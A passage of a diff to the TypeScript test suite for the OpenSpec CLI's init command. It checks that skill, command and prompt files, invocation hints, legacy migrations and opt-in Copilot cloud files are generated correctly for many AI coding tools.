Dev CLI'))).toBe(true); + expect( + rovoLogCalls.some( + (entry) => entry.includes('Commands skipped for: rovodev') && entry.includes('(no adapter)'), + ), + ).toBe(true); + // The getting-started hint must not advertise a dead slash command. + const hintLine = rovoLogCalls.find((entry) => entry.includes('Start your first change')); + expect(hintLine).toBeDefined(); + expect(hintLine).not.toMatch(/\/openspec-/); + expect(hintLine).toContain('the openspec-propose skill'); + }); + + it('should support Hermes Agent as an adapterless skills-only tool with a setup note', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'hermes', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.hermes', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const commandsDir = path.join(testDir, '.hermes', 'commands'); + expect(await directoryExists(commandsDir)).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + expect( + logCalls.some( + (entry) => entry.includes('Commands skipped for: hermes') && entry.includes('(no adapter)'), + ), + ).toBe(true); + expect( + logCalls.some( + (entry) => entry.includes('Setup required for Hermes Agent') && entry.includes('skills.external_dirs'), + ), + ).toBe(true); + }); + + it('should migrate OpenSpec skills from legacy .kimi to .kimi-code during init', async () => { + const legacySkillDir = path.join(testDir, '.kimi', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkillDir, { recursive: true }); + await fs.writeFile( + path.join(legacySkillDir, 'SKILL.md'), + `---\nname: openspec-explore\nmetadata:\n author: openspec\n version: "0.9"\n---\n\nOld instructions content\n` + ); + await fs.writeFile(path.join(testDir, '.kimi', 'config.toml'), 'user config'); + + const initCommand = new InitCommand({ tools: 'kimi', force: true }); + await initCommand.execute(testDir); + + // Regenerated in the new location, legacy managed skill removed + const newSkill = path.join(testDir, '.kimi-code', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(newSkill)).toBe(true); + expect(await directoryExists(legacySkillDir)).toBe(false); + + // User files under .kimi are preserved + expect(await fileExists(path.join(testDir, '.kimi', 'config.toml'))).toBe(true); + }); + + it('should create both skills and commands for Trae with adapter', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'trae', force: true }); + await initCommand.execute(testDir); + + // Skills should be created + const skillFile = path.join(testDir, '.trae', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + // Commands should also be created (Trae has an adapter) + const commandFile = path.join(testDir, '.trae', 'commands', 'opsx-explore.md'); + expect(await fileExists(commandFile)).toBe(true); + + const commandContent = await fs.readFile(commandFile, 'utf-8'); + expect(commandContent).toContain('---'); + expect(commandContent).toContain('name:'); + expect(commandContent).toContain('description:'); + }); + + it.each(['both', 'skills', 'commands'] as const)( + 'should create Codex skills and no global prompts when delivery=%s', + async (delivery) => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery, + }); + + const initCommand = new InitCommand({ tools: 'codex', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + expect( + await fileExists(path.join(testDir, '.codex', 'skills', 'openspec-explore', 'SKILL.md')) + ).toBe(false); + + const promptFile = path.join(process.env.CODEX_HOME!, 'prompts', 'opsx-explore.md'); + expect(await fileExists(promptFile)).toBe(false); + } + ); + + it('should reconcile Codex and agents to one tree both consumers can invoke', async () => { + const initCommand = new InitCommand({ tools: 'codex,agents', force: true }); + await initCommand.execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + const proposeSkill = await fs.readFile( + path.join(skillsDir, 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('codex\n'); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls + .flat() + .map(String); + expect(logCalls.some((entry) => entry.includes('Created: Codex'))).toBe(true); + expect(logCalls.some((entry) => entry.includes('Shared .agents skills'))).toBe(false); + expect( + logCalls.some((entry) => entry.includes('writing one tree with Codex and generic')) + ).toBe(true); + }); + + it('should migrate legacy Codex skills only after init writes their replacements', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + const customSkill = path.join(testDir, '.codex', 'skills', 'custom', 'SKILL.md'); + await fs.mkdir(path.dirname(customSkill), { recursive: true }); + await fs.writeFile(customSkill, 'user skill'); + + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + + expect( + await fileExists(path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md')) + ).toBe(true); + expect( + await fileExists(path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md')) + ).toBe(false); + expect(await fs.readFile(customSkill, 'utf-8')).toBe('user skill'); }); it('should create skills for multiple tools at once', async () => { @@ -180,6 +728,47 @@ describe('InitCommand', () => { expect(await fileExists(cursorSkill)).toBe(true); }); + it('should deliver the propose boundary to tools named in the linked reports', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ + tools: 'factory,cursor,kilocode,pi,codex', + force: true, + }); + await initCommand.execute(testDir); + + const proposeFiles = [ + path.join(testDir, '.factory', 'commands', 'opsx-propose.md'), + path.join(testDir, '.cursor', 'commands', 'opsx-propose.md'), + path.join(testDir, '.kilocode', 'workflows', 'opsx-propose.md'), + path.join(testDir, '.pi', 'prompts', 'opsx-propose.md'), + path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'), + ]; + + for (const proposeFile of proposeFiles) { + expect(await fileExists(proposeFile), proposeFile).toBe(true); + const content = await fs.readFile(proposeFile, 'utf-8'); + expect(content, proposeFile).toContain('**Planning boundary**'); + expect(content, proposeFile).toContain( + 'selected or triggered this workflow authorizes planning only' + ); + expect(content, proposeFile).toContain('ambiguity that would materially affect scope'); + expect(content, proposeFile).toContain( + 'ask the user before creating the change' + ); + expect(content, proposeFile).toContain( + 'Any implementation or apply instruction in that request does not carry forward' + ); + expect(content, proposeFile).toContain( + 'wait for a new user request to start the apply workflow' + ); + } + }); + it('should select all tools with --tools all option', async () => { const initCommand = new InitCommand({ tools: 'all', force: true }); @@ -187,12 +776,21 @@ describe('InitCommand', () => { // Check a few representative tools const claudeSkill = path.join(testDir, '.claude', 'skills', 'openspec-explore', 'SKILL.md'); + const codeArtsSkill = path.join(testDir, '.codeartsdoer', 'skills', 'openspec-explore', 'SKILL.md'); const cursorSkill = path.join(testDir, '.cursor', 'skills', 'openspec-explore', 'SKILL.md'); - const windsurfSkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore', 'SKILL.md'); + const devinSkill = path.join(testDir, '.devin', 'skills', 'openspec-explore', 'SKILL.md'); expect(await fileExists(claudeSkill)).toBe(true); + expect(await fileExists(codeArtsSkill)).toBe(true); expect(await fileExists(cursorSkill)).toBe(true); - expect(await fileExists(windsurfSkill)).toBe(true); + expect(await fileExists(devinSkill)).toBe(true); + + const sharedPropose = await fs.readFile( + path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(sharedPropose).toContain('$openspec-apply-change'); + expect(sharedPropose).toContain('/openspec-apply-change'); }); it('should skip tool configuration with --tools none option', async () => { @@ -397,7 +995,7 @@ describe('InitCommand', () => { ) { throw new Error('EACCES: permission denied'); } - return originalWriteFile.call(fs, filePath, ...args); + return (originalWriteFile as any)(filePath, ...args); } ); @@ -425,12 +1023,42 @@ describe('InitCommand', () => { expect(content).toContain('prompt ='); }); - it('should generate Windsurf commands', async () => { + it('should generate Devin workflows for the retired windsurf id', async () => { const initCommand = new InitCommand({ tools: 'windsurf', force: true }); await initCommand.execute(testDir); - const cmdFile = path.join(testDir, '.windsurf', 'workflows', 'opsx-explore.md'); + const cmdFile = path.join(testDir, '.devin', 'workflows', 'opsx-explore.md'); + expect(await fileExists(cmdFile)).toBe(true); + }); + + it('should generate Devin Desktop workflows that reference the hyphen form Devin registers', async () => { + const initCommand = new InitCommand({ tools: 'devin', force: true }); + await initCommand.execute(testDir); + + const cmdFile = path.join(testDir, '.devin', 'workflows', 'opsx-apply.md'); expect(await fileExists(cmdFile)).toBe(true); + + const content = await fs.readFile(cmdFile, 'utf-8'); + expect(content).toMatch(/^---\nname: "/); + expect(content).toContain('category: "Workflow"'); + // Devin discovers `.devin/workflows/opsx-apply.md` as `/opsx-apply`. + expect(content).toContain('/opsx-'); + expect(content).not.toContain('/opsx:'); + }); + + it('should generate Devin Desktop skills that reference skills, not workflows', async () => { + const initCommand = new InitCommand({ tools: 'devin', force: true }); + await initCommand.execute(testDir); + + // The Devin Local agent has no workflows, so skill bodies must point at + // `/openspec-*` skills, which both Devin agents accept. + const skillFile = path.join(testDir, '.devin', 'skills', 'openspec-apply-change', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const content = await fs.readFile(skillFile, 'utf-8'); + expect(content).toContain('/openspec-apply-change'); + expect(content).not.toContain('/opsx:'); + expect(content).not.toContain('/opsx-'); }); it('should generate Continue prompt files', async () => { @@ -441,7 +1069,7 @@ describe('InitCommand', () => { expect(await fileExists(cmdFile)).toBe(true); const content = await fs.readFile(cmdFile, 'utf-8'); - expect(content).toContain('name: opsx-explore'); + expect(content).toContain('name: "opsx-explore"'); expect(content).toContain('invokable: true'); }); @@ -460,6 +1088,83 @@ describe('InitCommand', () => { const cmdFile = path.join(testDir, '.github', 'prompts', 'opsx-explore.prompt.md'); expect(await fileExists(cmdFile)).toBe(true); }); + + it('should fail GitHub Copilot setup without partially creating cloud files', async () => { + const agentsPath = path.join(testDir, '.github', 'agents'); + const setupStepsPath = path.join( + testDir, + '.github', + 'workflows', + 'copilot-setup-steps.yml' + ); + await fs.mkdir(path.dirname(agentsPath), { recursive: true }); + await fs.writeFile(agentsPath, 'blocks the generated agent directory'); + + const initCommand = new InitCommand({ + tools: 'github-copilot', + force: true, + copilotCloud: true, + }); + await expect(initCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec setup failed for: GitHub Copilot' + ); + + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + expect(vi.mocked(console.log).mock.calls.flat().join('\n')).toContain( + 'OpenSpec Setup Incomplete' + ); + }); + + it('does not write cloud files by default (opt-in) but still installs local Copilot files', async () => { + const initCommand = new InitCommand({ tools: 'github-copilot', force: true }); + await initCommand.execute(testDir); + + // Local Copilot command files are unaffected by the cloud opt-in. + expect( + await fileExists(path.join(testDir, '.github', 'prompts', 'opsx-explore.prompt.md')) + ).toBe(true); + // Cloud files are NOT written without an explicit opt-in. + await expect( + fs.stat(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + await expect( + fs.stat(path.join(testDir, '.github', 'agents', 'openspec.agent.md')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + // An undecided run leaves config untouched (no githubCopilot key). + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).not.toContain('githubCopilot'); + }); + + it('writes cloud files and persists the opt-in when --copilot-cloud is passed', async () => { + const initCommand = new InitCommand({ + tools: 'github-copilot', + force: true, + copilotCloud: true, + }); + await initCommand.execute(testDir); + + await expect( + fs.readFile(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'), 'utf8') + ).resolves.toContain('copilot-setup-steps:'); + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).toContain('githubCopilot:'); + expect(config).toContain('cloudAgent: true'); + }); + + it('persists an explicit opt-out and writes no cloud files with --no-copilot-cloud', async () => { + const initCommand = new InitCommand({ + tools: 'github-copilot', + force: true, + copilotCloud: false, + }); + await initCommand.execute(testDir); + + await expect( + fs.stat(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).toContain('cloudAgent: false'); + }); }); }); @@ -469,13 +1174,14 @@ describe('InitCommand - profile and detection features', () => { let originalEnv: NodeJS.ProcessEnv; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-init-profile-test-${Date.now()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-init-profile-test-')); originalEnv = { ...process.env }; // Use a temp dir for global config to avoid polluting real config - configTempDir = path.join(os.tmpdir(), `openspec-config-test-${Date.now()}`); - await fs.mkdir(configTempDir, { recursive: true }); + configTempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-config-test-')); process.env.XDG_CONFIG_HOME = configTempDir; + process.env.CODEX_HOME = path.join(testDir, 'codex-home'); + process.env.HOME = path.join(testDir, 'home'); + process.env.USERPROFILE = path.join(testDir, 'home'); vi.spyOn(console, 'log').mockImplementation(() => {}); confirmMock.mockReset(); confirmMock.mockResolvedValue(true); @@ -554,6 +1260,81 @@ describe('InitCommand - profile and detection features', () => { expect(await directoryExists(newCommandsDir)).toBe(true); }); + it('should remove managed global Codex prompts in non-interactive mode', async () => { + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const legacyPrompt = path.join(promptDir, 'opsx-apply.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(legacyPrompt, 'legacy apply prompt'); + + const initCommand = new InitCommand({ tools: 'codex' }); + await initCommand.execute(testDir); + + expect(await fileExists(legacyPrompt)).toBe(false); + expect(await fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-apply-change', 'SKILL.md') + )).toBe(true); + }); + + it('should preserve global Codex prompts when only generic agents skills are installed', async () => { + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const legacyPrompt = path.join(promptDir, 'opsx-apply.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(legacyPrompt, 'legacy apply prompt'); + + const initCommand = new InitCommand({ tools: 'agents' }); + await initCommand.execute(testDir); + + expect(await fileExists(legacyPrompt)).toBe(true); + expect(await fs.readFile( + path.join(testDir, '.agents', 'skills', '.openspec-target'), + 'utf-8' + )).toBe('agents\n'); + }); + + it('should preserve legacy Codex prompts without replacement skills during non-interactive init', async () => { + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const legacyPrompt = path.join(promptDir, 'opsx-onboard.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(legacyPrompt, 'legacy onboard prompt'); + + const initCommand = new InitCommand({ tools: 'codex' }); + await initCommand.execute(testDir); + + expect(await fileExists(legacyPrompt)).toBe(true); + expect(await fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md') + )).toBe(true); + expect(await fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-onboard', 'SKILL.md') + )).toBe(false); + }); + + it('should defer global Codex prompt removal messaging until after interactive tool selection', async () => { + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const legacyPrompt = path.join(promptDir, 'opsx-apply.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(legacyPrompt, 'legacy apply prompt'); + + searchableMultiSelectMock.mockResolvedValue(['codex']); + + const initCommand = new InitCommand({ force: true }); + vi.spyOn(initCommand as any, 'canPromptInteractively').mockReturnValue(true); + + await initCommand.execute(testDir); + + const toolSelectionOrder = searchableMultiSelectMock.mock.invocationCallOrder[0]; + const consoleLogMock = console.log as ReturnType<typeof vi.fn>; + const logsBeforeSelection = consoleLogMock.mock.calls + .filter((_, index) => consoleLogMock.mock.invocationCallOrder[index] < toolSelectionOrder) + .flat() + .join('\n'); + + expect(logsBeforeSelection).toContain('Deferred global prompts cleanup'); + expect(logsBeforeSelection).toContain('will only be removed after matching replacement skills are installed'); + expect(logsBeforeSelection).toContain(`codex: ${legacyPrompt}`); + expect(await fileExists(legacyPrompt)).toBe(false); + }); + it('should preselect configured tools but not directory-detected tools in extend mode', async () => { // Simulate existing OpenSpec project (extend mode). await fs.mkdir(path.join(testDir, 'openspec'), { recursive: true }); @@ -604,6 +1385,93 @@ describe('InitCommand - profile and detection features', () => { expect(githubCopilot?.preSelected).toBe(true); }); + it('interactive init: confirming the cloud prompt writes files and persists the opt-in', async () => { + searchableMultiSelectMock.mockResolvedValue(['github-copilot']); + confirmMock.mockImplementation(({ message }: { message: string }) => + Promise.resolve(String(message).includes('Copilot cloud coding-agent')) + ); + + const initCommand = new InitCommand({}); + vi.spyOn(initCommand as any, 'canPromptInteractively').mockReturnValue(true); + await initCommand.execute(testDir); + + expect( + await fileExists(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml')) + ).toBe(true); + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).toContain('cloudAgent: true'); + expect(confirmMock).toHaveBeenCalledWith( + expect.objectContaining({ message: expect.stringContaining('copilot-setup-steps.yml') }) + ); + }); + + it('interactive init: declining the cloud prompt writes no cloud files but keeps local ones', async () => { + searchableMultiSelectMock.mockResolvedValue(['github-copilot']); + confirmMock.mockResolvedValue(false); + + const initCommand = new InitCommand({}); + vi.spyOn(initCommand as any, 'canPromptInteractively').mockReturnValue(true); + await initCommand.execute(testDir); + + await expect( + fs.stat(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + // Local Copilot prompt files are unaffected by the cloud decision. + expect( + await fileExists(path.join(testDir, '.github', 'prompts', 'opsx-explore.prompt.md')) + ).toBe(true); + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).toContain('cloudAgent: false'); + }); + + it('re-init with --no-copilot-cloud removes previously generated managed cloud files', async () => { + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }).execute(testDir); + expect(await fileExists(setupStepsPath)).toBe(true); + + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: false }).execute(testDir); + + expect(await fileExists(setupStepsPath)).toBe(false); + const config = await fs.readFile(path.join(testDir, 'openspec', 'config.yaml'), 'utf8'); + expect(config).toContain('cloudAgent: false'); + }); + + it('re-init without a flag honors the persisted opt-in', async () => { + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }).execute(testDir); + await fs.rm(setupStepsPath, { force: true }); + + // No flag this run: the persisted cloudAgent: true must drive the write. + await new InitCommand({ tools: 'github-copilot', force: true }).execute(testDir); + + expect(await fileExists(setupStepsPath)).toBe(true); + }); + + it('warns when --copilot-cloud is passed but github-copilot is not selected', async () => { + await new InitCommand({ tools: 'claude', force: true, copilotCloud: true }).execute(testDir); + + const out = vi.mocked(console.log).mock.calls.flat().join('\n'); + expect(out).toContain('was ignored because the github-copilot tool was not selected'); + }); + + it('opting in over a user-owned cloud file never claims that file was written', async () => { + const setupRel = path.join('.github', 'workflows', 'copilot-setup-steps.yml'); + const agentRel = path.join('.github', 'agents', 'openspec.agent.md'); + const setupStepsPath = path.join(testDir, setupRel); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.writeFile(setupStepsPath, 'name: my own workflow\n'); + + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }).execute(testDir); + + const out = vi.mocked(console.log).mock.calls.flat().join('\n'); + // Only the agent file was actually written; the workflow was left untouched. + expect(out).toContain(`GitHub Copilot cloud files: ${agentRel}`); + expect(out).not.toContain(`cloud files: ${setupRel}`); + expect(out).toContain(`Left your existing ${setupRel} untouched`); + // And the user's own file is preserved verbatim. + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe('name: my own workflow\n'); + }); + it('should respect custom profile from global config', async () => { saveGlobalConfig({ featureFlags: {}, @@ -665,6 +1533,9 @@ describe('InitCommand - profile and detection features', () => { await initCommand.execute(testDir); expect(showWelcomeScreenMock).toHaveBeenCalled(); + // The welcome screen must be handed the profile's workflows, otherwise it + // advertises commands this profile never installs. + expect(showWelcomeScreenMock).toHaveBeenCalledWith(['explore', 'new'], { animate: true }); expect(confirmMock).not.toHaveBeenCalled(); const exploreSkill = path.join(testDir, '.claude', 'skills', 'openspec-explore', 'SKILL.md'); @@ -693,6 +1564,331 @@ describe('InitCommand - profile and detection features', () => { // Commands should NOT exist const cmdFile = path.join(testDir, '.claude', 'commands', 'opsx', 'explore.md'); expect(await fileExists(cmdFile)).toBe(false); + + // Skill content should reference skills, not commands that were never generated + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).not.toContain('/opsx-'); + expect(skillContent).toContain('/openspec-'); + + // update-change references several other workflows; a command missing + // from the reference map would leave a raw /opsx: reference behind + const updateSkillContent = await fs.readFile( + path.join(testDir, '.claude', 'skills', 'openspec-update-change', 'SKILL.md'), + 'utf-8' + ); + expect(updateSkillContent).not.toContain('/opsx:'); + expect(updateSkillContent).not.toContain('/opsx-'); + expect(updateSkillContent).toContain('/openspec-'); + }); + + it('should use skill references for adapterless tools under default delivery (#1155)', async () => { + // Kimi Code has no command adapter: commands are skipped even when + // delivery is 'both', so generated skills must not reference /opsx:* + const initCommand = new InitCommand({ tools: 'kimi', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.kimi-code', 'skills', 'openspec-apply-change', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).not.toContain('/opsx-'); + // Kimi Code documents /skill:<name> invocations (docs/supported-tools.md) + expect(skillContent).toContain('/skill:openspec-'); + + // The getting-started hint must point at the skill, not a missing command + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHint = logCalls.find((entry) => entry.includes('Start your first change')); + expect(startHint).toContain('/skill:openspec-propose'); + expect(startHint).not.toContain('/opsx:propose'); + }); + + it('should print a configuration correction, not a dead hint, when delivery=commands generates nothing (adapterless tool)', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const initCommand = new InitCommand({ tools: 'kimi', force: true }); + await initCommand.execute(testDir); + + // Kimi has no command adapter and delivery excludes skills: nothing is generated + expect(await fileExists(path.join(testDir, '.kimi-code', 'skills', 'openspec-explore', 'SKILL.md'))).toBe(false); + expect(await fileExists(path.join(testDir, '.kimi-code', 'commands'))).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + // No invocation hint may be shown — neither /opsx:* nor a skill reference exists + expect(logCalls.some((entry) => entry.includes('Start your first change'))).toBe(false); + const correction = logCalls.find((entry) => entry.includes('No skills or commands were generated')); + expect(correction).toBeTruthy(); + expect(correction).toContain("openspec config set delivery both"); + // Nothing was generated, so there is nothing an IDE restart would pick up + expect(logCalls.some((entry) => entry.includes('Restart your IDE'))).toBe(false); + }); + + it('should print one usable hint per invocation syntax when adapterless tools disagree', async () => { + // kimi documents /skill:<name>, vibe documents /<name> — every advertised + // instruction must be usable by the tool it is labeled for + const initCommand = new InitCommand({ tools: 'kimi,vibe', force: true }); + await initCommand.execute(testDir); + + // Each tool's own skill files still use its documented syntax + const kimiSkill = await fs.readFile( + path.join(testDir, '.kimi-code', 'skills', 'openspec-apply-change', 'SKILL.md'), + 'utf-8' + ); + const vibeSkill = await fs.readFile( + path.join(testDir, '.vibe', 'skills', 'openspec-apply-change', 'SKILL.md'), + 'utf-8' + ); + expect(kimiSkill).toContain('/skill:openspec-'); + expect(vibeSkill).toContain('/openspec-'); + expect(vibeSkill).not.toContain('/skill:'); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + expect(startHints).toHaveLength(2); + const kimiHint = startHints.find((entry) => entry.includes('Kimi Code')); + const vibeHint = startHints.find((entry) => entry.includes('Mistral Vibe')); + expect(kimiHint).toContain('/skill:openspec-propose'); + expect(vibeHint).toContain('/openspec-propose'); + expect(vibeHint).not.toContain('/skill:'); + for (const hint of startHints) { + expect(hint).not.toContain('/opsx:'); + } + }); + + it('should print the $-prefixed skill hint for codex (skills-invocable, no slash surface)', async () => { + // Codex has no slash-command surface: it invokes skills as $<name>, so the + // hint - and the generated skills - must use that form, never /opsx:* + const initCommand = new InitCommand({ tools: 'codex', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.agents', 'skills', 'openspec-apply-change', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).toContain('$openspec-'); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHint = logCalls.find((entry) => entry.includes('Start your first change')); + expect(startHint).toContain('$openspec-propose'); + expect(startHint).not.toContain('/openspec-propose'); + expect(startHint).not.toContain('/opsx:propose'); + + // No slash commands were generated, so the restart line must not claim any + const restartHint = logCalls.find((entry) => entry.includes('Restart your IDE')); + expect(restartHint).toContain('Restart your IDE for the new skills to take effect.'); + expect(restartHint).not.toContain('slash commands'); + }); + + it('should print the @-prefixed prompt hint for amazon-q (prompt library, no slash surface)', async () => { + // Amazon Q loads .amazonq/prompts/opsx-<id>.md into its prompt library, + // invoked as @opsx-<id>. It registers no slash command under any spelling, + // so neither the hint, the generated prompts, the skills, nor the restart + // line may name one. + const initCommand = new InitCommand({ tools: 'amazon-q', force: true }); + await initCommand.execute(testDir); + + const promptFile = path.join(testDir, '.amazonq', 'prompts', 'opsx-apply.md'); + const skillFile = path.join(testDir, '.amazonq', 'skills', 'openspec-apply-change', 'SKILL.md'); + for (const file of [promptFile, skillFile]) { + expect(await fileExists(file)).toBe(true); + const content = await fs.readFile(file, 'utf-8'); + expect(content).toContain('@opsx-apply'); + expect(content).not.toContain('/opsx:'); + expect(content).not.toContain('/opsx-'); + } + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHint = logCalls.find((entry) => entry.includes('Start your first change')); + expect(startHint).toContain('@opsx-propose'); + expect(startHint).not.toContain('/opsx-propose'); + expect(startHint).not.toContain('/opsx:propose'); + + // Commands were generated, but they are not slash commands. + const restartHint = logCalls.find((entry) => entry.includes('Restart your IDE')); + expect(restartHint).toContain('Restart your IDE for the new commands to take effect.'); + expect(restartHint).not.toContain('slash commands'); + }); + + it('should label the codex hint separately when mixed with a slash-invocable adapterless tool', async () => { + const initCommand = new InitCommand({ tools: 'codex,vibe', force: true }); + await initCommand.execute(testDir); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + expect(startHints).toHaveLength(2); + const codexHint = startHints.find((entry) => entry.includes('(Codex)')); + const vibeHint = startHints.find((entry) => entry.includes('Mistral Vibe')); + expect(codexHint).toContain('$openspec-propose'); + expect(codexHint).not.toContain('/openspec-propose'); + expect(vibeHint).toContain('/openspec-propose'); + for (const hint of startHints) { + expect(hint).not.toContain('/opsx:'); + } + }); + + it('should reference commands by the names each tool registers (cursor+claude)', async () => { + // Cursor registers commands by filename (.cursor/commands/opsx-apply.md -> + // /opsx-apply) while Claude namespaces them under opsx/ (-> /opsx:apply). + // Command bodies, skills and the onboarding hint must each follow the tool + // they are written for. + const initCommand = new InitCommand({ tools: 'cursor,claude', force: true }); + await initCommand.execute(testDir); + + const read = (...segments: string[]) => fs.readFile(path.join(testDir, ...segments), 'utf-8'); + + const cursorCommand = await read('.cursor', 'commands', 'opsx-apply.md'); + // A body cross-reference, not the frontmatter name, which already + // carried the hyphen form before this behaviour existed. + expect(cursorCommand).toContain('/opsx-archive'); + expect(cursorCommand).not.toContain('/opsx:'); + + const cursorSkill = await read('.cursor', 'skills', 'openspec-apply-change', 'SKILL.md'); + expect(cursorSkill).not.toContain('/opsx:'); + + // Claude's namespaced commands are unchanged + const claudeCommand = await read('.claude', 'commands', 'opsx', 'apply.md'); + expect(claudeCommand).toContain('/opsx:archive'); + expect(claudeCommand).not.toContain('/opsx-'); + + const claudeSkill = await read('.claude', 'skills', 'openspec-apply-change', 'SKILL.md'); + expect(claudeSkill).not.toContain('/opsx-'); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + expect(startHints.find((entry) => entry.includes('Cursor'))).toContain('/opsx-propose'); + expect(startHints.find((entry) => entry.includes('Claude Code'))).toContain('/opsx:propose'); + }); + + it('should print the hyphen command hint for filename-invoked tools (claude+qwen)', async () => { + const initCommand = new InitCommand({ tools: 'claude,qwen', force: true }); + await initCommand.execute(testDir); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + // Qwen invokes commands by filename (/opsx-propose), so it must not share + // Claude's /opsx:propose line + expect(startHints).toHaveLength(2); + const claudeHint = startHints.find((entry) => entry.includes('Claude Code')); + const qwenHint = startHints.find((entry) => entry.includes('Qwen Code')); + 